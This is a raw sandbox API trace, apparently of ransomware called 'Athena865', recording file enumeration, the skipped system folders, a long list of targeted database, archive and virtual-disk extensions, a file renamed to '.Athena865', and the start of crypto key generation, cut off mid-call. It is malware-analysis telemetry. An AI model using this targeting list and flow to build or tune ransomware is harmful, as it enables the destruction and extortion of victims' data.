(HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x539248 [0080.284] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x539248 | out: hHeap=0x4f0000) returned 1 [0080.284] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52ba90 [0080.284] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0080.284] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0080.284] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0080.284] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52ba90 [0080.284] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0080.284] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0080.284] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0080.284] UnmapViewOfFile (lpBaseAddress=0x2d50000) returned 1 [0080.297] CloseHandle (hObject=0x17c) returned 1 [0080.297] CloseHandle (hObject=0x154) returned 1 [0080.297] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5391d0 | out: hHeap=0x4f0000) returned 1 [0080.297] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519090 | out: hHeap=0x4f0000) returned 1 [0080.297] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0080.306] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x39d43b00, ftCreationTime.dwHighDateTime=0x1cab7c9, ftLastAccessTime.dwLowDateTime=0x59759dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x39d43b00, ftLastWriteTime.dwHighDateTime=0x1cab7c9, nFileSizeHigh=0x0, nFileSizeLow=0x123e0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="OFFRHD.DLL", cAlternateFileName="")) returned 1 [0080.306] lstrcmpiW (lpString1="OFFRHD.DLL", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0080.306] lstrcmpiW (lpString1="OFFRHD.DLL", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0080.306] lstrcmpiW (lpString1="OFFRHD.DLL", lpString2=".") returned 1 [0080.306] lstrcmpiW (lpString1="OFFRHD.DLL", lpString2="..") returned 1 [0080.306] lstrcmpiW (lpString1="OFFRHD.DLL", lpString2="windows") returned -1 [0080.306] lstrcmpiW (lpString1="OFFRHD.DLL", lpString2="bootmgr") returned 1 [0080.306] lstrcmpiW (lpString1="OFFRHD.DLL", lpString2="temp") returned -1 [0080.306] lstrcmpiW (lpString1="OFFRHD.DLL", lpString2="pagefile.sys") returned -1 [0080.306] lstrcmpiW (lpString1="OFFRHD.DLL", lpString2="boot") returned 1 [0080.306] lstrcmpiW (lpString1="OFFRHD.DLL", lpString2="ids.txt") returned 1 [0080.306] lstrcmpiW (lpString1="OFFRHD.DLL", lpString2="ntuser.dat") returned 1 [0080.306] lstrcmpiW (lpString1="OFFRHD.DLL", lpString2="perflogs") returned -1 [0080.306] lstrcmpiW (lpString1="OFFRHD.DLL", lpString2="MSBuild") returned 1 [0080.306] lstrlenW (lpString="OFFRHD.DLL") returned 10 [0080.306] lstrcpyW (in: lpString1=0x241e89e, lpString2="OFFRHD.DLL" | out: lpString1="OFFRHD.DLL") returned="OFFRHD.DLL" [0080.306] lstrlenW (lpString="OFFRHD.DLL") returned 10 [0080.306] lstrlenW (lpString="Athena865") returned 9 [0080.306] lstrcmpiW (lpString1="FFRHD.DLL", lpString2="Athena865") returned 1 [0080.307] lstrlenW (lpString=".dll") returned 4 [0080.307] lstrcmpiW (lpString1="OFFRHD.DLL", lpString2=".dll") returned 1 [0080.307] lstrlenW (lpString=".lnk") returned 4 [0080.307] lstrcmpiW (lpString1="OFFRHD.DLL", lpString2=".lnk") returned 1 [0080.307] lstrlenW (lpString=".ini") returned 4 [0080.307] lstrcmpiW (lpString1="OFFRHD.DLL", lpString2=".ini") returned 1 [0080.307] lstrlenW (lpString=".sys") returned 4 [0080.307] lstrcmpiW (lpString1="OFFRHD.DLL", lpString2=".sys") returned 1 [0080.307] lstrlenW (lpString="OFFRHD.DLL") returned 10 [0080.307] lstrlenW (lpString="bak") returned 3 [0080.307] lstrcmpiW (lpString1="DLL", lpString2="bak") returned 1 [0080.307] lstrlenW (lpString="ba_") returned 3 [0080.307] lstrcmpiW (lpString1="DLL", lpString2="ba_") returned 1 [0080.307] lstrlenW (lpString="dbb") returned 3 [0080.307] lstrcmpiW (lpString1="DLL", lpString2="dbb") returned 1 [0080.307] lstrlenW (lpString="vmdk") returned 4 [0080.307] lstrcmpiW (lpString1=".DLL", lpString2="vmdk") returned -1 [0080.307] lstrlenW (lpString="rar") returned 3 [0080.307] lstrcmpiW (lpString1="DLL", lpString2="rar") returned -1 [0080.307] lstrlenW (lpString="zip") returned 3 [0080.307] lstrcmpiW (lpString1="DLL", lpString2="zip") returned -1 [0080.307] lstrlenW (lpString="tgz") returned 3 [0080.307] lstrcmpiW (lpString1="DLL", lpString2="tgz") returned -1 [0080.307] lstrlenW (lpString="vbox") returned 4 [0080.307] lstrcmpiW (lpString1=".DLL", lpString2="vbox") returned -1 [0080.307] lstrlenW (lpString="vdi") returned 3 [0080.307] lstrcmpiW (lpString1="DLL", lpString2="vdi") returned -1 [0080.307] lstrlenW (lpString="vhd") returned 3 [0080.307] lstrcmpiW (lpString1="DLL", lpString2="vhd") returned -1 [0080.307] lstrlenW (lpString="vhdx") returned 4 [0080.307] lstrcmpiW (lpString1=".DLL", lpString2="vhdx") returned -1 [0080.307] lstrlenW (lpString="avhd") returned 4 [0080.308] lstrcmpiW (lpString1=".DLL", lpString2="avhd") returned -1 [0080.308] lstrlenW (lpString="db") returned 2 [0080.308] lstrcmpiW (lpString1="LL", lpString2="db") returned 1 [0080.308] lstrlenW (lpString="db2") returned 3 [0080.308] lstrcmpiW (lpString1="DLL", lpString2="db2") returned 1 [0080.308] lstrlenW (lpString="db3") returned 3 [0080.308] lstrcmpiW (lpString1="DLL", lpString2="db3") returned 1 [0080.308] lstrlenW (lpString="dbf") returned 3 [0080.308] lstrcmpiW (lpString1="DLL", lpString2="dbf") returned 1 [0080.308] lstrlenW (lpString="mdf") returned 3 [0080.308] lstrcmpiW (lpString1="DLL", lpString2="mdf") returned -1 [0080.308] lstrlenW (lpString="mdb") returned 3 [0080.308] lstrcmpiW (lpString1="DLL", lpString2="mdb") returned -1 [0080.308] lstrlenW (lpString="sql") returned 3 [0080.308] lstrcmpiW (lpString1="DLL", lpString2="sql") returned -1 [0080.308] lstrlenW (lpString="sqlite") returned 6 [0080.308] lstrcmpiW (lpString1="HD.DLL", lpString2="sqlite") returned -1 [0080.308] lstrlenW (lpString="sqlite3") returned 7 [0080.308] lstrcmpiW (lpString1="RHD.DLL", lpString2="sqlite3") returned -1 [0080.308] lstrlenW (lpString="sqlitedb") returned 8 [0080.308] lstrcmpiW (lpString1="FRHD.DLL", lpString2="sqlitedb") returned -1 [0080.308] lstrlenW (lpString="xml") returned 3 [0080.308] lstrcmpiW (lpString1="DLL", lpString2="xml") returned -1 [0080.308] lstrlenW (lpString="$er") returned 3 [0080.308] lstrcmpiW (lpString1="DLL", lpString2="$er") returned 1 [0080.308] lstrlenW (lpString="4dd") returned 3 [0080.308] lstrcmpiW (lpString1="DLL", lpString2="4dd") returned 1 [0080.308] lstrlenW (lpString="4dl") returned 3 [0080.308] lstrcmpiW (lpString1="DLL", lpString2="4dl") returned 1 [0080.308] lstrlenW (lpString="^^^") returned 3 [0080.308] lstrcmpiW (lpString1="DLL", lpString2="^^^") returned 1 [0080.308] lstrlenW (lpString="abs") returned 3 [0080.309] lstrcmpiW (lpString1="DLL", lpString2="abs") returned 1 [0080.309] lstrlenW (lpString="abx") returned 3 [0080.309] lstrcmpiW (lpString1="DLL", lpString2="abx") returned 1 [0080.309] lstrlenW (lpString="accdb") returned 5 [0080.309] lstrcmpiW (lpString1="D.DLL", lpString2="accdb") returned 1 [0080.309] lstrlenW (lpString="accdc") returned 5 [0080.309] lstrcmpiW (lpString1="D.DLL", lpString2="accdc") returned 1 [0080.309] lstrlenW (lpString="accde") returned 5 [0080.309] lstrcmpiW (lpString1="D.DLL", lpString2="accde") returned 1 [0080.309] lstrlenW (lpString="accdr") returned 5 [0080.309] lstrcmpiW (lpString1="D.DLL", lpString2="accdr") returned 1 [0080.309] lstrlenW (lpString="accdt") returned 5 [0080.309] lstrcmpiW (lpString1="D.DLL", lpString2="accdt") returned 1 [0080.309] lstrlenW (lpString="accdw") returned 5 [0080.309] lstrcmpiW (lpString1="D.DLL", lpString2="accdw") returned 1 [0080.309] lstrlenW (lpString="accft") returned 5 [0080.309] lstrcmpiW (lpString1="D.DLL", lpString2="accft") returned 1 [0080.309] lstrlenW (lpString="adb") returned 3 [0080.309] lstrcmpiW (lpString1="DLL", lpString2="adb") returned 1 [0080.309] lstrlenW (lpString="adb") returned 3 [0080.309] lstrcmpiW (lpString1="DLL", lpString2="adb") returned 1 [0080.309] lstrlenW (lpString="ade") returned 3 [0080.309] lstrcmpiW (lpString1="DLL", lpString2="ade") returned 1 [0080.309] lstrlenW (lpString="adf") returned 3 [0080.309] lstrcmpiW (lpString1="DLL", lpString2="adf") returned 1 [0080.309] lstrlenW (lpString="adn") returned 3 [0080.309] lstrcmpiW (lpString1="DLL", lpString2="adn") returned 1 [0080.309] lstrlenW (lpString="adp") returned 3 [0080.309] lstrcmpiW (lpString1="DLL", lpString2="adp") returned 1 [0080.309] lstrlenW (lpString="alf") returned 3 [0080.309] lstrcmpiW (lpString1="DLL", lpString2="alf") returned 1 [0080.309] lstrlenW (lpString="ask") returned 3 [0080.309] lstrcmpiW (lpString1="DLL", lpString2="ask") returned 1 [0080.310] lstrlenW (lpString="btr") returned 3 [0080.310] lstrcmpiW (lpString1="DLL", lpString2="btr") returned 1 [0080.310] lstrlenW (lpString="cat") returned 3 [0080.310] lstrcmpiW (lpString1="DLL", lpString2="cat") returned 1 [0080.310] lstrlenW (lpString="cdb") returned 3 [0080.310] lstrcmpiW (lpString1="DLL", lpString2="cdb") returned 1 [0080.310] lstrlenW (lpString="ckp") returned 3 [0080.310] lstrcmpiW (lpString1="DLL", lpString2="ckp") returned 1 [0080.310] lstrlenW (lpString="cma") returned 3 [0080.310] lstrcmpiW (lpString1="DLL", lpString2="cma") returned 1 [0080.310] lstrlenW (lpString="cpd") returned 3 [0080.310] lstrcmpiW (lpString1="DLL", lpString2="cpd") returned 1 [0080.310] lstrlenW (lpString="dacpac") returned 6 [0080.310] lstrcmpiW (lpString1="HD.DLL", lpString2="dacpac") returned 1 [0080.310] lstrlenW (lpString="dad") returned 3 [0080.310] lstrcmpiW (lpString1="DLL", lpString2="dad") returned 1 [0080.310] lstrlenW (lpString="dadiagrams") returned 10 [0080.310] lstrlenW (lpString="daschema") returned 8 [0080.310] lstrcmpiW (lpString1="FRHD.DLL", lpString2="daschema") returned 1 [0080.310] lstrlenW (lpString="db-journal") returned 10 [0080.310] lstrlenW (lpString="db-shm") returned 6 [0080.310] lstrcmpiW (lpString1="HD.DLL", lpString2="db-shm") returned 1 [0080.310] lstrlenW (lpString="db-wal") returned 6 [0080.310] lstrcmpiW (lpString1="HD.DLL", lpString2="db-wal") returned 1 [0080.310] lstrlenW (lpString="dbc") returned 3 [0080.310] lstrcmpiW (lpString1="DLL", lpString2="dbc") returned 1 [0080.310] lstrlenW (lpString="dbs") returned 3 [0080.310] lstrcmpiW (lpString1="DLL", lpString2="dbs") returned 1 [0080.310] lstrlenW (lpString="dbt") returned 3 [0080.310] lstrcmpiW (lpString1="DLL", lpString2="dbt") returned 1 [0080.310] lstrlenW (lpString="dbv") returned 3 [0080.310] lstrcmpiW (lpString1="DLL", lpString2="dbv") returned 1 [0080.311] lstrlenW (lpString="dbx") returned 3 [0080.311] lstrcmpiW (lpString1="DLL", lpString2="dbx") returned 1 [0080.311] lstrlenW (lpString="dcb") returned 3 [0080.311] lstrcmpiW (lpString1="DLL", lpString2="dcb") returned 1 [0080.311] lstrlenW (lpString="dct") returned 3 [0080.311] lstrcmpiW (lpString1="DLL", lpString2="dct") returned 1 [0080.311] lstrlenW (lpString="dcx") returned 3 [0080.311] lstrcmpiW (lpString1="DLL", lpString2="dcx") returned 1 [0080.311] lstrlenW (lpString="ddl") returned 3 [0080.311] lstrcmpiW (lpString1="DLL", lpString2="ddl") returned 1 [0080.311] lstrlenW (lpString="dlis") returned 4 [0080.311] lstrcmpiW (lpString1=".DLL", lpString2="dlis") returned -1 [0080.311] lstrlenW (lpString="dp1") returned 3 [0080.311] lstrcmpiW (lpString1="DLL", lpString2="dp1") returned -1 [0080.311] lstrlenW (lpString="dqy") returned 3 [0080.311] lstrcmpiW (lpString1="DLL", lpString2="dqy") returned -1 [0080.311] lstrlenW (lpString="dsk") returned 3 [0080.311] lstrcmpiW (lpString1="DLL", lpString2="dsk") returned -1 [0080.311] lstrlenW (lpString="dsn") returned 3 [0080.311] lstrcmpiW (lpString1="DLL", lpString2="dsn") returned -1 [0080.311] lstrlenW (lpString="dtsx") returned 4 [0080.311] lstrcmpiW (lpString1=".DLL", lpString2="dtsx") returned -1 [0080.311] lstrlenW (lpString="dxl") returned 3 [0080.311] lstrcmpiW (lpString1="DLL", lpString2="dxl") returned -1 [0080.311] lstrlenW (lpString="eco") returned 3 [0080.311] lstrcmpiW (lpString1="DLL", lpString2="eco") returned -1 [0080.311] lstrlenW (lpString="ecx") returned 3 [0080.311] lstrcmpiW (lpString1="DLL", lpString2="ecx") returned -1 [0080.311] lstrlenW (lpString="edb") returned 3 [0080.312] lstrcmpiW (lpString1="DLL", lpString2="edb") returned -1 [0080.312] lstrlenW (lpString="epim") returned 4 [0080.312] lstrcmpiW (lpString1=".DLL", lpString2="epim") returned -1 [0080.312] lstrlenW (lpString="fcd") returned 3 [0080.312] lstrcmpiW (lpString1="DLL", lpString2="fcd") returned -1 [0080.312] lstrlenW (lpString="fdb") returned 3 [0080.312] lstrcmpiW (lpString1="DLL", lpString2="fdb") returned -1 [0080.312] lstrlenW (lpString="fic") returned 3 [0080.312] lstrcmpiW (lpString1="DLL", lpString2="fic") returned -1 [0080.312] lstrlenW (lpString="flexolibrary") returned 12 [0080.312] lstrlenW (lpString="fm5") returned 3 [0080.312] lstrcmpiW (lpString1="DLL", lpString2="fm5") returned -1 [0080.312] lstrlenW (lpString="fmp") returned 3 [0080.312] lstrcmpiW (lpString1="DLL", lpString2="fmp") returned -1 [0080.312] lstrlenW (lpString="fmp12") returned 5 [0080.312] lstrcmpiW (lpString1="D.DLL", lpString2="fmp12") returned -1 [0080.312] lstrlenW (lpString="fmpsl") returned 5 [0080.312] lstrcmpiW (lpString1="D.DLL", lpString2="fmpsl") returned -1 [0080.312] lstrlenW (lpString="fol") returned 3 [0080.312] lstrcmpiW (lpString1="DLL", lpString2="fol") returned -1 [0080.312] lstrlenW (lpString="fp3") returned 3 [0080.312] lstrcmpiW (lpString1="DLL", lpString2="fp3") returned -1 [0080.312] lstrlenW (lpString="fp4") returned 3 [0080.312] lstrcmpiW (lpString1="DLL", lpString2="fp4") returned -1 [0080.312] lstrlenW (lpString="fp5") returned 3 [0080.312] lstrcmpiW (lpString1="DLL", lpString2="fp5") returned -1 [0080.312] lstrlenW (lpString="fp7") returned 3 [0080.312] lstrcmpiW (lpString1="DLL", lpString2="fp7") returned -1 [0080.312] lstrlenW (lpString="fpt") returned 3 [0080.312] lstrcmpiW (lpString1="DLL", lpString2="fpt") returned -1 [0080.312] lstrlenW (lpString="frm") returned 3 [0080.312] lstrcmpiW (lpString1="DLL", lpString2="frm") returned -1 [0080.313] lstrlenW (lpString="gdb") returned 3 [0080.313] lstrcmpiW (lpString1="DLL", lpString2="gdb") returned -1 [0080.313] lstrlenW (lpString="gdb") returned 3 [0080.313] lstrcmpiW (lpString1="DLL", lpString2="gdb") returned -1 [0080.313] lstrlenW (lpString="grdb") returned 4 [0080.313] lstrcmpiW (lpString1=".DLL", lpString2="grdb") returned -1 [0080.313] lstrlenW (lpString="gwi") returned 3 [0080.313] lstrcmpiW (lpString1="DLL", lpString2="gwi") returned -1 [0080.313] lstrlenW (lpString="hdb") returned 3 [0080.313] lstrcmpiW (lpString1="DLL", lpString2="hdb") returned -1 [0080.313] lstrlenW (lpString="his") returned 3 [0080.313] lstrcmpiW (lpString1="DLL", lpString2="his") returned -1 [0080.313] lstrlenW (lpString="ib") returned 2 [0080.313] lstrcmpiW (lpString1="LL", lpString2="ib") returned 1 [0080.313] lstrlenW (lpString="idb") returned 3 [0080.313] lstrcmpiW (lpString1="DLL", lpString2="idb") returned -1 [0080.313] lstrlenW (lpString="ihx") returned 3 [0080.313] lstrcmpiW (lpString1="DLL", lpString2="ihx") returned -1 [0080.313] lstrlenW (lpString="itdb") returned 4 [0080.313] lstrcmpiW (lpString1=".DLL", lpString2="itdb") returned -1 [0080.313] lstrlenW (lpString="itw") returned 3 [0080.313] lstrcmpiW (lpString1="DLL", lpString2="itw") returned -1 [0080.313] lstrlenW (lpString="jet") returned 3 [0080.313] lstrcmpiW (lpString1="DLL", lpString2="jet") returned -1 [0080.313] lstrlenW (lpString="jtx") returned 3 [0080.313] lstrcmpiW (lpString1="DLL", lpString2="jtx") returned -1 [0080.313] lstrlenW (lpString="kdb") returned 3 [0080.313] lstrcmpiW (lpString1="DLL", lpString2="kdb") returned -1 [0080.313] lstrlenW (lpString="kexi") returned 4 [0080.313] lstrcmpiW (lpString1=".DLL", lpString2="kexi") returned -1 [0080.313] lstrlenW (lpString="kexic") returned 5 [0080.313] lstrcmpiW (lpString1="D.DLL", lpString2="kexic") returned -1 [0080.313] lstrlenW (lpString="kexis") returned 5 [0080.314] lstrcmpiW (lpString1="D.DLL", lpString2="kexis") returned -1 [0080.314] lstrlenW (lpString="lgc") returned 3 [0080.314] lstrcmpiW (lpString1="DLL", lpString2="lgc") returned -1 [0080.314] lstrlenW (lpString="lwx") returned 3 [0080.314] lstrcmpiW (lpString1="DLL", lpString2="lwx") returned -1 [0080.314] lstrlenW (lpString="maf") returned 3 [0080.314] lstrcmpiW (lpString1="DLL", lpString2="maf") returned -1 [0080.314] lstrlenW (lpString="maq") returned 3 [0080.314] lstrcmpiW (lpString1="DLL", lpString2="maq") returned -1 [0080.314] lstrlenW (lpString="mar") returned 3 [0080.314] lstrcmpiW (lpString1="DLL", lpString2="mar") returned -1 [0080.314] lstrlenW (lpString="marshal") returned 7 [0080.314] lstrcmpiW (lpString1="RHD.DLL", lpString2="marshal") returned 1 [0080.314] lstrlenW (lpString="mas") returned 3 [0080.314] lstrcmpiW (lpString1="DLL", lpString2="mas") returned -1 [0080.314] lstrlenW (lpString="mav") returned 3 [0080.314] lstrcmpiW (lpString1="DLL", lpString2="mav") returned -1 [0080.314] lstrlenW (lpString="maw") returned 3 [0080.314] lstrcmpiW (lpString1="DLL", lpString2="maw") returned -1 [0080.314] lstrlenW (lpString="mdbhtml") returned 7 [0080.314] lstrcmpiW (lpString1="RHD.DLL", lpString2="mdbhtml") returned 1 [0080.314] lstrlenW (lpString="mdn") returned 3 [0080.314] lstrcmpiW (lpString1="DLL", lpString2="mdn") returned -1 [0080.314] lstrlenW (lpString="mdt") returned 3 [0080.314] lstrcmpiW (lpString1="DLL", lpString2="mdt") returned -1 [0080.314] lstrlenW (lpString="mfd") returned 3 [0080.314] lstrcmpiW (lpString1="DLL", lpString2="mfd") returned -1 [0080.314] lstrlenW (lpString="mpd") returned 3 [0080.314] lstrcmpiW (lpString1="DLL", lpString2="mpd") returned -1 [0080.314] lstrlenW (lpString="mrg") returned 3 [0080.314] lstrcmpiW (lpString1="DLL", lpString2="mrg") returned -1 [0080.314] lstrlenW (lpString="mud") returned 3 [0080.314] lstrcmpiW (lpString1="DLL", lpString2="mud") returned -1 [0080.315] lstrlenW (lpString="mwb") returned 3 [0080.315] lstrcmpiW (lpString1="DLL", lpString2="mwb") returned -1 [0080.315] lstrlenW (lpString="myd") returned 3 [0080.315] lstrcmpiW (lpString1="DLL", lpString2="myd") returned -1 [0080.315] lstrlenW (lpString="ndf") returned 3 [0080.315] lstrcmpiW (lpString1="DLL", lpString2="ndf") returned -1 [0080.315] lstrlenW (lpString="nnt") returned 3 [0080.315] lstrcmpiW (lpString1="DLL", lpString2="nnt") returned -1 [0080.315] lstrlenW (lpString="nrmlib") returned 6 [0080.315] lstrcmpiW (lpString1="HD.DLL", lpString2="nrmlib") returned -1 [0080.315] lstrlenW (lpString="ns2") returned 3 [0080.315] lstrcmpiW (lpString1="DLL", lpString2="ns2") returned -1 [0080.315] lstrlenW (lpString="ns3") returned 3 [0080.315] lstrcmpiW (lpString1="DLL", lpString2="ns3") returned -1 [0080.315] lstrlenW (lpString="ns4") returned 3 [0080.315] lstrcmpiW (lpString1="DLL", lpString2="ns4") returned -1 [0080.315] lstrlenW (lpString="nsf") returned 3 [0080.315] lstrcmpiW (lpString1="DLL", lpString2="nsf") returned -1 [0080.315] lstrlenW (lpString="nv") returned 2 [0080.315] lstrcmpiW (lpString1="LL", lpString2="nv") returned -1 [0080.315] lstrlenW (lpString="nv2") returned 3 [0080.315] lstrcmpiW (lpString1="DLL", lpString2="nv2") returned -1 [0080.315] lstrlenW (lpString="nwdb") returned 4 [0080.315] lstrcmpiW (lpString1=".DLL", lpString2="nwdb") returned -1 [0080.315] lstrlenW (lpString="nyf") returned 3 [0080.315] lstrcmpiW (lpString1="DLL", lpString2="nyf") returned -1 [0080.315] lstrlenW (lpString="odb") returned 3 [0080.315] lstrcmpiW (lpString1="DLL", lpString2="odb") returned -1 [0080.315] lstrlenW (lpString="odb") returned 3 [0080.315] lstrcmpiW (lpString1="DLL", lpString2="odb") returned -1 [0080.315] lstrlenW (lpString="oqy") returned 3 [0080.315] lstrcmpiW (lpString1="DLL", lpString2="oqy") returned -1 [0080.315] lstrlenW (lpString="ora") returned 3 [0080.316] lstrcmpiW (lpString1="DLL", lpString2="ora") returned -1 [0080.316] lstrlenW (lpString="orx") returned 3 [0080.316] lstrcmpiW (lpString1="DLL", lpString2="orx") returned -1 [0080.316] lstrlenW (lpString="owc") returned 3 [0080.316] lstrcmpiW (lpString1="DLL", lpString2="owc") returned -1 [0080.316] lstrlenW (lpString="p96") returned 3 [0080.316] lstrcmpiW (lpString1="DLL", lpString2="p96") returned -1 [0080.316] lstrlenW (lpString="p97") returned 3 [0080.316] lstrcmpiW (lpString1="DLL", lpString2="p97") returned -1 [0080.316] lstrlenW (lpString="pan") returned 3 [0080.316] lstrcmpiW (lpString1="DLL", lpString2="pan") returned -1 [0080.316] lstrlenW (lpString="pdb") returned 3 [0080.316] lstrcmpiW (lpString1="DLL", lpString2="pdb") returned -1 [0080.316] lstrlenW (lpString="pdm") returned 3 [0080.316] lstrcmpiW (lpString1="DLL", lpString2="pdm") returned -1 [0080.316] lstrlenW (lpString="pnz") returned 3 [0080.316] lstrcmpiW (lpString1="DLL", lpString2="pnz") returned -1 [0080.316] lstrlenW (lpString="qry") returned 3 [0080.316] lstrcmpiW (lpString1="DLL", lpString2="qry") returned -1 [0080.316] lstrlenW (lpString="qvd") returned 3 [0080.316] lstrcmpiW (lpString1="DLL", lpString2="qvd") returned -1 [0080.316] lstrlenW (lpString="rbf") returned 3 [0080.316] lstrcmpiW (lpString1="DLL", lpString2="rbf") returned -1 [0080.316] lstrlenW (lpString="rctd") returned 4 [0080.316] lstrcmpiW (lpString1=".DLL", lpString2="rctd") returned -1 [0080.316] lstrlenW (lpString="rod") returned 3 [0080.316] lstrcmpiW (lpString1="DLL", lpString2="rod") returned -1 [0080.316] lstrlenW (lpString="rodx") returned 4 [0080.316] lstrcmpiW (lpString1=".DLL", lpString2="rodx") returned -1 [0080.316] lstrlenW (lpString="rpd") returned 3 [0080.316] lstrcmpiW (lpString1="DLL", lpString2="rpd") returned -1 [0080.316] lstrlenW (lpString="rsd") returned 3 [0080.317] lstrcmpiW (lpString1="DLL", lpString2="rsd") returned -1 [0080.317] lstrlenW (lpString="sas7bdat") returned 8 [0080.317] lstrcmpiW (lpString1="FRHD.DLL", lpString2="sas7bdat") returned -1 [0080.317] lstrlenW (lpString="sbf") returned 3 [0080.317] lstrcmpiW (lpString1="DLL", lpString2="sbf") returned -1 [0080.317] lstrlenW (lpString="scx") returned 3 [0080.317] lstrcmpiW (lpString1="DLL", lpString2="scx") returned -1 [0080.317] lstrlenW (lpString="sdb") returned 3 [0080.317] lstrcmpiW (lpString1="DLL", lpString2="sdb") returned -1 [0080.317] lstrlenW (lpString="sdc") returned 3 [0080.317] lstrcmpiW (lpString1="DLL", lpString2="sdc") returned -1 [0080.317] lstrlenW (lpString="sdf") returned 3 [0080.317] lstrcmpiW (lpString1="DLL", lpString2="sdf") returned -1 [0080.317] lstrlenW (lpString="sis") returned 3 [0080.317] lstrcmpiW (lpString1="DLL", lpString2="sis") returned -1 [0080.317] lstrlenW (lpString="spq") returned 3 [0080.317] lstrcmpiW (lpString1="DLL", lpString2="spq") returned -1 [0080.317] lstrlenW (lpString="te") returned 2 [0080.317] lstrcmpiW (lpString1="LL", lpString2="te") returned -1 [0080.317] lstrlenW (lpString="teacher") returned 7 [0080.317] lstrcmpiW (lpString1="RHD.DLL", lpString2="teacher") returned -1 [0080.317] lstrlenW (lpString="tmd") returned 3 [0080.317] lstrcmpiW (lpString1="DLL", lpString2="tmd") returned -1 [0080.317] lstrlenW (lpString="tps") returned 3 [0080.317] lstrcmpiW (lpString1="DLL", lpString2="tps") returned -1 [0080.317] lstrlenW (lpString="trc") returned 3 [0080.317] lstrcmpiW (lpString1="DLL", lpString2="trc") returned -1 [0080.317] lstrlenW (lpString="trc") returned 3 [0080.317] lstrcmpiW (lpString1="DLL", lpString2="trc") returned -1 [0080.317] lstrlenW (lpString="trm") returned 3 [0080.317] lstrcmpiW (lpString1="DLL", lpString2="trm") returned -1 [0080.317] lstrlenW (lpString="udb") returned 3 [0080.317] lstrcmpiW (lpString1="DLL", lpString2="udb") returned -1 [0080.317] lstrlenW (lpString="udl") returned 3 [0080.318] lstrcmpiW (lpString1="DLL", lpString2="udl") returned -1 [0080.318] lstrlenW (lpString="usr") returned 3 [0080.318] lstrcmpiW (lpString1="DLL", lpString2="usr") returned -1 [0080.318] lstrlenW (lpString="v12") returned 3 [0080.318] lstrcmpiW (lpString1="DLL", lpString2="v12") returned -1 [0080.318] lstrlenW (lpString="vis") returned 3 [0080.318] lstrcmpiW (lpString1="DLL", lpString2="vis") returned -1 [0080.318] lstrlenW (lpString="vpd") returned 3 [0080.318] lstrcmpiW (lpString1="DLL", lpString2="vpd") returned -1 [0080.318] lstrlenW (lpString="vvv") returned 3 [0080.318] lstrcmpiW (lpString1="DLL", lpString2="vvv") returned -1 [0080.318] lstrlenW (lpString="wdb") returned 3 [0080.318] lstrcmpiW (lpString1="DLL", lpString2="wdb") returned -1 [0080.318] lstrlenW (lpString="wmdb") returned 4 [0080.318] lstrcmpiW (lpString1=".DLL", lpString2="wmdb") returned -1 [0080.318] lstrlenW (lpString="wrk") returned 3 [0080.318] lstrcmpiW (lpString1="DLL", lpString2="wrk") returned -1 [0080.318] lstrlenW (lpString="xdb") returned 3 [0080.318] lstrcmpiW (lpString1="DLL", lpString2="xdb") returned -1 [0080.318] lstrlenW (lpString="xld") returned 3 [0080.318] lstrcmpiW (lpString1="DLL", lpString2="xld") returned -1 [0080.318] lstrlenW (lpString="xmlff") returned 5 [0080.318] lstrcmpiW (lpString1="D.DLL", lpString2="xmlff") returned -1 [0080.318] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\OFFRHD.DLL.Athena865") returned 63 [0080.318] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\OFFRHD.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\offrhd.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\OFFRHD.DLL.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\offrhd.dll.athena865"), dwFlags=0x1) returned 1 [0080.320] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\OFFRHD.DLL.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\offrhd.dll.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0080.320] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=74720) returned 1 [0080.320] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0080.321] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x5391d0 [0080.321] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519090 [0080.321] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519008) returned 1 [0080.321] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, 